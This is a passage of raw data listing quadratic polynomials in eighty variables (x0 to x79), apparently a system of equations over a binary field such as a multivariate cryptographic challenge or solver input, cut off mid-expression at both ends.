x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x42 + x25*x45 + x25*x47 + x25*x48 + x25*x49 + x25*x51 + x25*x53 + x25*x54 + x25*x58 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x67 + x25*x68 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x26*x28 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x42 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x64 + x26*x67 + x26*x69 + x26*x71 + x26*x74 + x26*x77 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x42 + x27*x44 + x27*x47 + x27*x48 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x62 + x27*x63 + x27*x65 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x76 + x27 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x36 + x28*x39 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x49 + x28*x50 + x28*x52 + x28*x56 + x28*x58 + x28*x63 + x28*x65 + x28*x68 + x28*x69 + x28*x72 + x28*x74 + x28*x76 + x28*x78 + x28 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x38 + x29*x40 + x29*x41 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x72 + x29*x73 + x29*x74 + x29*x76 + x29 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x56 + x30*x57 + x30*x61 + x30*x64 + x30*x66 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x75 + x30*x77 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x40 + x31*x46 + x31*x48 + x31*x52 + x31*x55 + x31*x62 + x31*x63 + x31*x68 + x31*x69 + x31*x71 + x31*x73 + x31*x77 + x32*x34 + x32*x35 + x32*x36 + x32*x40 + x32*x42 + x32*x44 + x32*x49 + x32*x51 + x32*x52 + x32*x56 + x32*x57 + x32*x63 + x32*x64 + x32*x67 + x32*x68 + x32*x71 + x32*x72 + x32*x75 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x42 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x71 + x33*x76 + x33*x77 + x33*x79 + x34*x36 + x34*x37 + x34*x40 + x34*x42 + x34*x43 + x34*x47 + x34*x48 + x34*x50 + x34*x51 + x34*x55 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x66 + x34*x68 + x34*x70 + x34*x71 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x44 + x35*x46 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x60 + x35*x62 + x35*x63 + x35*x65 + x35*x69 + x35*x72 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x40 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x50 + x36*x52 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x64 + x36*x67 + x36*x71 + x36*x72 + x36*x76 + x36*x78 + x37*x39 + x37*x41 + x37*x44 + x37*x45 + x37*x52 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x66 + x38*x67 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x43 + x39*x45 + x39*x47 + x39*x48 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x75 + x39*x77 + x39*x78 + x39 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x78 + x40*x79 + x41*x43 + x41*x45 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x73 + x41*x76 + x41*x79 + x41 + x42*x46 + x42*x47 + x42*x51 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x59 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x72 + x42*x74 + x42*x78 + x42*x79 + x43*x45 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x56 + x43*x59 + x43*x60 + x43*x61 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x79 + x43 + x44*x50 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x60 + x44*x63 + x44*x67 + x44*x71 + x44*x74 + x44*x75 + x44*x78 + x44*x79 + x44 + x45*x47 + x45*x48 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x58 + x45*x60 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x77 + x46*x51 + x46*x52 + x46*x53 + x46*x58 + x46*x59 + x46*x64 + x46*x68 + x46*x69 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x48 + x47*x51 + x47*x53 + x47*x55 + x47*x56 + x47*x60 + x47*x65 + x47*x66 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x58 + x48*x61 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x75 + x49*x55 + x49*x56 + x49*x57 + x49*x61 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x72 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x59 + x50*x63 + x50*x65 + x50*x68 + x50*x70 + x50*x73 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x63 + x51*x65 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x53*x54 + x53*x56 + x53*x58 + x53*x59 + x53*x60 + x53*x63 + x53*x68 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x54*x55 + x54*x56 + x54*x58 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x68 + x54*x69 + x54*x72 + x54*x75 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x62 + x55*x63 + x55*x66 + x55*x67 + x55*x74 + x55*x77 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x60 + x56*x63 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x76 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x62 + x57*x68 + x57*x70 + x57*x71 + x57*x73 + x57*x75 + x57 + x58*x61 + x58*x64 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x64 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x75 + x59*x77 + x59 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x76 + x60 + x61*x62 + x61*x63 + x61*x66 + x61*x70 + x61*x72 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x66 + x62*x67 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x75 + x62*x78 + x62*x79 + x63*x66 + x63*x67 + x63*x69 + x63*x72 + x63*x74 + x63*x75 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x76 + x64*x77 + x65*x66 + x65*x67 + x65*x72 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x77 + x66*x79 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x68*x71 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x69*x73 + x69*x74 + x69*x76 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x79 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x79 + x75 + x76*x77 + x76*x78 + x77*x78 + 1, x0*x3 + x0*x4 + x0*x7 + x0*x9 + x0*x10 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x31 + x0*x32 + x0*x35 + x0*x36 + x0*x39 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x51 + x0*x52 + x0*x55 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0*x77 + x1*x5 + x1*x8 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x22 + x1*x24 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x39 + x1*x40 + x1*x43 + x1*x48 + x1*x49 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x62 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x15 + x2*x18 + x2*x22 + x2*x28 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x8 + x3*x9 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x20 + x3*x21 + x3*x26 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x43 + x3*x44 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x52 + x3*x54 + x3*x57 + x3*x59 + x3*x60 + x3*x62 + x3*x63 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x8 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x42 + x4*x44 + x4*x46 + x4*x48 + x4*x49 + x4*x52 + x4*x54 + x4*x56 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x76 + x4*x79 + x5*x6 + x5*x7 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x21 + x5*x22 + x5*x23 + x5*x26 + x5*x29 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x41 + x5*x43 + x5*x46 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x56 + x5*x63 + x5*x65 + x5*x66 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x26 + x6*x28 + x6*x29 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x44 + x6*x48 + x6*x50 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x62 + x6*x64 + x6*x66 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x20 + x7*x21 + x7*x23 + x7*x25 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x38 + x7*x39 + x7*x40 + x7*x43 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x55 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x64 + x7*x65 + x7*x68 + x7*x70 + x7*x72 + x7*x74 + x7*x76 + x7*x79 + x8*x9 + x8*x11 + x8*x16 + x8*x18 + x8*x19 + x8*x20 + x8*x24 + x8*x35 + x8*x45 + x8*x46 + x8*x47 + x8*x53 + x8*x58 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x78 + x8*x79 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x18 + x9*x19 + x9*x21 + x9*x23 + x9*x27 + x9*x29 + x9*x34 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x48 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x60 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x15 + x10*x17 + x10*x18 + x10*x19 + x10*x22 + x10*x24 + x10*x25 + x10*x26 + x10*x30 + x10*x31 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x38 + x10*x39 + x10*x40 + x10*x42 + x10*x43 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x55 + x10*x56 + x10*x59 + x10*x61 + x10*x62 + x10*x65 + x10*x66 + x10*x72 + x10*x74 + x10*x78 + x11*x12 + x11*x14 + x11*x16 + x11*x17 + x11*x19 + x11*x22 + x11*x24 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x31 + x11*x36 + x11*x37 + x11*x39 + x11*x41 + x11*x42 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x73 + x11*x75 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x21 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x36 + x12*x37 + x12*x40 + x12*x44 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x54 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x66 + x12*x67 + x12*x71 + x12*x72 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12 + x13*x14 + x13*x17 + x13*x21 + x13*x24 + x13*x29 + x13*x31 + x13*x32 + x13*x34 + x13*x35 + x13*x44 + x13*x45 + x13*x46 + x13*x48 + x13*x52 + x13*x53 + x13*x54 + x13*x59 + x13*x62 + x13*x64 + x13*x65 + x13*x69 + x13*x71 + x13*x73 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x23 + x14*x25 + x14*x27 + x14*x28 + x14*x31 + x14*x34 + x14*x37 + x14*x39 + x14*x40 + x14*x44 + x14*x49 + x14*x50 + x14*x52 + x14*x54 + x14*x56 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x67 + x14*x70 + x14*x72 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x27 + x15*x29 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x38 + x15*x41 + x15*x43 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x51 + x15*x56 + x15*x58 + x15*x62 + x15*x63 + x15*x64 + x15*x69 + x15*x71 + x15*x73 + x15*x75 + x16*x18 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x29 + x16*x39 + x16*x40 + x16*x41 + x16*x47 + x16*x51 + x16*x58 + x16*x59 + x16*x60 + x16*x63 + x16*x65 + x16*x66 + x16*x70 + x16*x72 + x16*x73 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x63 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x78 + x18*x21 + x18*x22 + x18*x27 + x18*x29 + x18*x32 + x18*x33 + x18*x35 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x42 + x18*x47 + x18*x49 + x18*x52 + x18*x53 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x67 + x18*x69 + x18*x71 + x18*x72 + x18*x76 + x18*x77 + x19*x21 + x19*x24 + x19*x31 + x19*x34 + x19*x35 + x19*x38 + x19*x39 + x19*x44 + x19*x45 + x19*x49 + x19*x50 + x19*x56 + x19*x57 + x19*x61 + x19*x62 + x19*x65 + x19*x66 + x19*x70 + x19 + x20*x22 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x56 + x20*x58 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x72 + x20*x75 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x25 + x21*x30 + x21*x31 + x21*x32 + x21*x35 + x21*x37 + x21*x38 + x21*x40 + x21*x41 + x21*x42 + x21*x46 + x21*x48 + x21*x50 + x21*x52 + x21*x54 + x21*x57 + x21*x58 + x21*x60 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x73 + x21*x74 + x21*x77 + x21*x79 + x22*x23 + x22*x25 + x22*x27 + x22*x28 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x43 + x22*x46 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x63 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x22 + x23*x24 + x23*x27 + x23*x29 + x23*x32 + x23*x34 + x23*x36 + x23*x38 + x23*x40 + x23*x41 + x23*x47 + x23*x48 + x23*x51 + x23*x53 + x23*x54 + x23*x56 + x23*x59 + x23*x60 + x23*x61 + x23*x63 + x23*x64 + x23*x66 + x23*x67 + x23*x70 + x23*x73 + x23*x74 + x23*x75 + x23*x76 + x23 + x24*x25 + x24*x31 + x24*x33 + x24*x35 + x24*x37 + x24*x39 + x24*x40 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x51 + x24*x53 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x62 + x24*x63 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x24*x78 + x24*x79 + x25*x29 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x38 + x25*x39 + x25*x42 + x25*x45 + x25*x47 + x25*x50 + x25*x58 + x25*x62 + x25*x63 + x25*x67 + x25*x68 + x25*x72 + x25*x75 + x25*x78 + x25*x79 + x26*x28 + x26*x30 + x26*x32 + x26*x33 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x47 + x26*x48 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x37 + x27*x40 + x27*x42 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x57 + x28*x59 + x28*x60 + x28*x62 + x28*x64 + x28*x70 + x28*x72 + x28*x74 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x36 + x29*x37 + x29*x39 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x65 + x29*x69 + x29*x70 + x29*x71 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x35 + x30*x38 + x30*x40 + x30*x45 + x30*x46 + x30*x47 + x30*x51 + x30*x54 + x30*x56 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x54 + x31*x56 + x31*x59 + x31*x60 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x71 + x31*x77 + x31*x79 + x31 + x32*x35 + x32*x38 + x32*x42 + x32*x44 + x32*x47 + x32*x48 + x32*x50 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x59 + x32*x60 + x32*x65 + x32*x67 + x32*x77 + x32*x79 + x32 + x33*x36 + x33*x37 + x33*x39 + x33*x40 + x33*x43 + x33*x44 + x33*x50 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x62 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x70 + x33*x73 + x33*x74 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x35 + x34*x38 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x60 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x76 + x34*x77 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x39 + x35*x41 + x35*x43 + x35*x44 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x72 + x35*x74 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x48 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x69 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x43 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x54 + x37*x57 + x37*x59 + x37*x62 + x37*x64 + x37*x66 + x37*x68 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x77 + x37*x78 + x37 + x38*x42 + x38*x44 + x38*x45 + x38*x47 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x64 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x77 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x45 + x39*x46 + x39*x48 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x69 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x42 + x40*x44 + x40*x49 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x70 + x40*x76 + x40*x77 + x40*x79 + x41*x45 + x41*x47 + x41*x50 + x41*x53 + x41*x55 + x41*x58 + x41*x60 + x41*x61 + x41*x66 + x41*x67 + x41*x70 + x41*x73 + x41*x75 + x42*x44 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x58 + x42*x59 + x42*x61 + x42*x62 + x42*x65 + x42*x69 + x42*x71 + x42*x73 + x42*x75 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x50 + x43*x52 + x43*x53 + x43*x56 + x43*x58 + x43*x60 + x43*x62 + x43*x63 + x43*x65 + x43*x68 + x43*x70 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x78 + x44*x45 + x44*x48 + x44*x49 + x44*x50 + x44*x51 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x63 + x44*x64 + x44*x66 + x44*x67 + x44*x68 + x44*x69 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x60 + x45*x62 + x45*x63 + x45*x64 + x45*x65 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x75 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x55 + x46*x56 + x46*x57 + x46*x59 + x46*x64 + x46*x67 + x46*x68 + x46*x69 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x52 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x61 + x47*x62 + x47*x67 + x47*x70 + x47*x72 + x47*x73 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x50 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x61 + x48*x67 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x78 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x57 + x49*x63 + x49*x67 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x52 + x50*x53 + x50*x56 + x50*x59 + x50*x62 + 